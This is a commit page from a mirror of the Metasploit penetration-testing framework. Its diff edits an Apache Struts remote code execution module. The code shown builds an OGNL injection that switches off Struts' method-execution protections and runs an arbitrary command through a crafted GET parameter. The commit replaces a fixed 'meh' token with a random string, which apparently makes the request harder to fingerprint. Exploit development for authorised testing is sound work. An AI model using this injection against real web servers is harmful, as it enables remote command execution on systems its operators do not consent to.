infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

randomize meh parameter

bug/bundler_fix
Christian Mehlmauer 2014-05-09 10:38:19 +02:00
parent a3fff5401f
commit 53fde675e7
1 changed files with 3 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
modules/exploits/multi/http/struts_code_exec_parameters.rb
View File

@ -78,14 +78,15 @@ class Metasploit3 < Msf::Exploit::Remote
end end
def execute_command(cmd) def execute_command(cmd)
junk = Rex::Text.rand_text_alpha(6)
inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]" inject = "(#context[\"xwork.MethodAccessor.denyMethodExecution\"]= new java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
inject << "= new java.lang.Boolean(true),#{cmd})('meh')" inject << "= new java.lang.Boolean(true),#{cmd})('#{junk}')"
uri = normalize_uri(datastore['TARGETURI']) uri = normalize_uri(datastore['TARGETURI'])
resp = send_request_cgi({ resp = send_request_cgi({
'uri' => uri, 'uri' => uri,
'version' => '1.1', 'version' => '1.1',
'method' => 'GET', 'method' => 'GET',
'vars_get' => { parameter => inject, "z[(#{parameter})(meh)]" => 'true' } 'vars_get' => { parameter => inject, "z[(#{parameter})(#{junk})]" => 'true' }
}) })
resp resp
end end